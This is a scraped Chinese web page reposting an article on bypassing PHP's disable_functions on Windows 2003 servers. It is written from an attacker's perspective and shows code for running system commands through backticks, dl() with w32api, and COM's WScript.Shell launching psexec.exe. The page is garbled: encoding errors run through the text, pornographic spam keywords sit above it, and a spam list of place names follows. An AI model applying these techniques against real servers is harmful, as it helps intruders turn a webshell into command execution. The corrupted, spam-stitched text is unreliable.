国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 網(wǎng)站 > 建站經(jīng)驗(yàn) > 正文

win2003 PHP服務(wù)器的突破新思路

2019-11-02 16:32:51
字體:
供稿:網(wǎng)友
在WIN2000中, 一個(gè)普通的PHP SHELL便能把它打垮; 在WIN XP, 即使Safe mode = off,你也無法用system() 等函數(shù)執(zhí)行系統(tǒng)命令, 但是我們還能用com()函數(shù)進(jìn)行突破;到WIN 2003,即使IIS 和PHP都是默認(rèn)安裝,你用system(), com()也可能拿它沒轍。這時(shí)候你就不得不使用一些新的方法來進(jìn)行突破了。

  1、disable_functions的突破

  在php -4.0.1以上的版本,php.ini里引入了一項(xiàng)功能disable_functions , 這個(gè)功能比較有用,可以用它禁止一些函數(shù)。比如在php.ini里加上disable_functions = passthru exec system popen 那么在執(zhí)行這些函數(shù)的時(shí)候?qū)崾網(wǎng)arning: system() has been disabled for security reasons,同時(shí)程序終止運(yùn)行。但是也不是沒有辦法執(zhí)行系統(tǒng)命令了。因?yàn)閜hp采用了很多perl的特性,比如還可以用(`)來執(zhí)行命令,示例代碼如下:

  <?$output = `ls -al`;echo "<pre>$output</pre>";?>

  據(jù)說這個(gè)只有設(shè)成safe_mode為on才能避免,但上次我在一臺國外的服務(wù)器上使用的時(shí)候還是失敗了,人并不是什么時(shí)候都能那么走運(yùn)的:)

  2、dl()函數(shù)的應(yīng)用

  當(dāng)任何PHP的內(nèi)部命令執(zhí)行數(shù)和''都無法使用的時(shí)候,可以嘗試dl(),該方法只能用于safe mode=off, 因?yàn)樗诎踩J较率潜唤玫摹@胐l()你可以直接調(diào)用W32api 函數(shù),可惜這個(gè)擴(kuò)展已被移動到 PECL 庫中,且自PHP 5.1.0以下版本起不再被綁定。以下是手冊里的例子:

  // 加載此擴(kuò)展

  dl("php_w32api.dll");

  // 注冊 GetTickCount 函數(shù),來自 kernel32.dll

  w32api_register_function("kernel32.dll",

  "GetTickCount",

  "long");

  // 注冊 MessageBoxA 函數(shù),來自 User32.dll

  w32api_register_function("User32.dll",

  "MessageBoxA",

  "long");

  // 取得開機(jī)時(shí)間信息

  $ticks = GetTickCount();

  // 轉(zhuǎn)換為易于理解的文本

  $secs = floor($ticks / 1000);

  $mins = floor($secs / 60);

  $hours = floor($mins / 60);

  $str = sprintf("You have been using your computer for:".

  "/r/n %d Milliseconds, or /r/n %d Seconds".

  "or /r/n %d mins or/r/n %d hours %d mins.",

  $ticks,

  $secs,

  $mins,

  $hours,

  $mins - ($hours*60));

  // 顯示一個(gè)消息對話框,只有一個(gè) OK 按鈕和上面的開機(jī)時(shí)間文本

  MessageBoxA(NULL,

  $str,

  "Uptime Information",

  MB_OK);

  ?>

  可惜我還沒有理解透徹dl()和W32api, 所以就不亂舉例子了, 免得誤導(dǎo)讀者。

  3、COM 和 .Net(Windows)函數(shù)的應(yīng)用

  COM(Component Object Model,組件對象模型)是微軟開發(fā)的軟件規(guī)范,它用于開發(fā)面向?qū)ο蟮摹⒕幾g好的軟件組件,它允許把軟件抽象成為二進(jìn)制的部件,主要運(yùn)用于windows平臺。

  PHP 的 Windows 版本已經(jīng)內(nèi)置該擴(kuò)展模塊的支持。無需加載任何附加擴(kuò)展庫即可使用COM函數(shù)。它的使用方法類似于C++或Java中類的創(chuàng)建的語法,并把COM的類名作為參數(shù)傳遞到構(gòu)造函數(shù)。例如使用在PHP中調(diào)用“WScript.Shell”執(zhí)行系統(tǒng)命令:

  $cmd=” E:/cert/admin/psexec.exe”;

  if($com=new COM("WScript.Shell")) echo "yes";

  if(!$cmd1=$com->exec($cmd))

  {

  echo "can not exec()";

  }

  if(!$cmd2=$cmd1->stdout())

  {

  echo "can not stdout()";
發(fā)表評論 共有條評論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 闵行区| 梓潼县| 永修县| 土默特右旗| 阿拉善右旗| 祥云县| 剑河县| 乌恰县| 大理市| 苏州市| 晋城| 泗洪县| 双桥区| 凤台县| 阿图什市| 红安县| 招远市| 禹城市| 宁德市| 郓城县| 周口市| 克山县| 高台县| 巴南区| 上杭县| 浙江省| 广西| 乌拉特中旗| 綦江县| 云浮市| 马尔康县| 泽库县| 大兴区| 邻水| 肥东县| 遵义县| 武城县| 右玉县| 伽师县| 道孚县| 隆子县|